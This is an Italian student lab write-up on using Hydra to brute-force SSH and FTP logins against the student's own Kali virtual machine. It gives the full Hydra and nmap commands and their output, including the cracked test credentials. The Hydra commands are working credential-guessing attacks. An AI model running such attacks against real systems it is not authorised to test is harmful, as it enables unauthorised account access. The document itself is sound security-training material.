

ESERCIZIO S6L4

Traccia: Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio. L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Esercizio fase 2 – suggerimento: Per la seconda parte dell'esercizio, scegliete un servizio da configurare e poi provate a craccare l'autenticazione con Hydra.

- Se optate per il servizio ftp, potete semplicemente installarlo con il seguente comando: `sudo apt-get install vsftpd`
- E poi avviare il servizio con: `service vsftpd start`.

SVOLGIMENTO

La prima parte dell'esercizio è stata guidata. Come prima cosa si è creato un nuovo utente su kali con username 'test_user'.

```
(kali@kali)-[~/Desktop]
$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n]
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali@kali)-[~/Desktop]
$
```

Successivamente si è attivato il servizio ssh con il comando **sudo service ssh start**. Si è testata poi la connessione in SSH dell'utente appena creato eseguendo il comando: **ssh test_user@ip_kali**, con ip_kali che è l'ip della vostra macchina. Se le credenziali inserite sono corrette, si ottiene il prompt dei comandi dell'utente test_user sulla macchina Kali.

```

(kali㉿kali)-[~/Desktop]
$ sudo service ssh start
[sudo] password for kali:

(kali㉿kali)-[~/Desktop]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$

(test_user㉿kali)-[~]
$ █

```

Infine, dopo aver verificato l'accesso si va a configurare Hydra e si va ad attaccare l'autenticazione SSH con il comando **hydra -L username_list.txt -P password_list.txt indirizzo_ip_target -t4 ssh**.

Dopo qualche minuto si ottiene un accesso valido, rappresentato dalle coppia di username e password colorati in output, come nell'immagine sotto.

```

(kali㉿kali)-[~/Desktop]
$ hydra -L username_list.txt -P password_list.txt 192.168.50.100 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-16 16:11:48
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "username" - pass "password" - 1 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "username" - pass "mare" - 2 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "username" - pass "cane" - 3 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "username" - pass "testpass" - 4 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "username" - pass "naruto" - 5 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "password" - 6 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "mare" - 7 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "cane" - 8 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "testpass" - 9 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "naruto" - 10 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 11 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "mare" - 12 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "cane" - 13 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 14 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "naruto" - 15 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 16 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mare" - 17 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "cane" - 18 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 19 of 25 [child 1] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "utente" - pass "password" - 21 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "utente" - pass "mare" - 22 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "utente" - pass "cane" - 23 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "utente" - pass "testpass" - 24 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "utente" - pass "naruto" - 25 of 25 [child 1] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-16 16:12:05

(kali㉿kali)-[~/Desktop]
$ █

```

ESERCIZIO FASE 2

Per la seconda fase dell'esercizio si è scelto il servizio ftp da configurare e provare a craccarne l'autenticazione con Hydra.

Inizialmente, per semplice controllo, si è cercato di capire se la porta 21 del servizio ftp fosse aperta o meno con il comando **nmap -p indirizzo_ip_target**.

```
(kali㉿kali)-[~]
$ nmap -p 21 192.168.50.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 16:34 CEST
Nmap scan report for 192.168.50.100
Host is up (0.000075s latency).

PORT      STATE SERVICE
21/tcp    closed ftp

Nmap done: 1 IP address (1 host up) scanned in 13.04 seconds

(kali㉿kali)-[~]
$ sudo service vsftpd start
[sudo] password for kali:
```

Dopo aver attivato il servizio ftp con il comando **sudo service vsftpd start** si nota come la porta 21 sia passata da 'closed' ad 'open', stando ad indicare che abbiamo attivato il servizio ftp

```
(kali㉿kali)-[~/Desktop]
$ nmap -p 21 192.168.50.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 16:39 CEST
Nmap scan report for 192.168.50.100
Host is up (0.000057s latency).

PORT      STATE SERVICE
21/tcp    open  ftp

Nmap done: 1 IP address (1 host up) scanned in 13.02 seconds

(kali㉿kali)-[~/Desktop]
$ █
```

Ora con Hydra si prova a craccare l'autenticazione attraverso il comando **hydra -L username_list.txt -P password_list.txt indirizzo_ip_target -t4 ftp**.

Gli switch '-L' e '-P' stanno ad indicare rispettivamente la lista di user e password che si danno come input ad Hydra per l'attacco a dizionario. Hydra infatti con questi file prova tutte le combinazioni di username e password possibili per vedere quale coppia corrisponda alle credenziali esatte.

```

(kali㉿kali)-[~/Desktop]
$ hydra -L username_list.txt -P password_list.txt 192.168.50.100 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
or secret service organizations, or for illegal purposes (this is non-binding, these **
* ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-16 16:38:02
[DATA] max 4 tasks per 1 server, overall 4 tasks, 36 login tries (l:6/p:6), ~9 tries pe
r task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[21][ftp] host: 192.168.50.100 login: kali password: kali
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-16 16:38:30

(kali㉿kali)-[~/Desktop]
$ █

```

Si nota dall'immagine sopra gli output colorati, che indicano le coppie di username e password corrette per accedere agli utenti presenti all'indirizzo_ip_target.

Per verificare l'effettività dell'attacco svolto con Hydra, si effettua una connessione ftp usando le credenziali ottenute da Hydra.

```

(kali㉿kali)-[~/Desktop]
$ ftp test_user@192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPD 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> █

```

Con questo comando facciamo 3 passaggi fondamentali per la connessione ftp:

1. Apertura della Connessione FTP: Il client FTP tenta di stabilire una connessione con il server FTP situato all'indirizzo IP 192.168.49.100.
2. Richiesta delle Credenziali: Se la connessione è stabilita con successo, il server chiederà la password per l'utente 'test_user'.
3. Autenticazione: Dopo aver inserito la password corretta, l'utente sarà autenticato e potrà iniziare a interagire con il server FTP.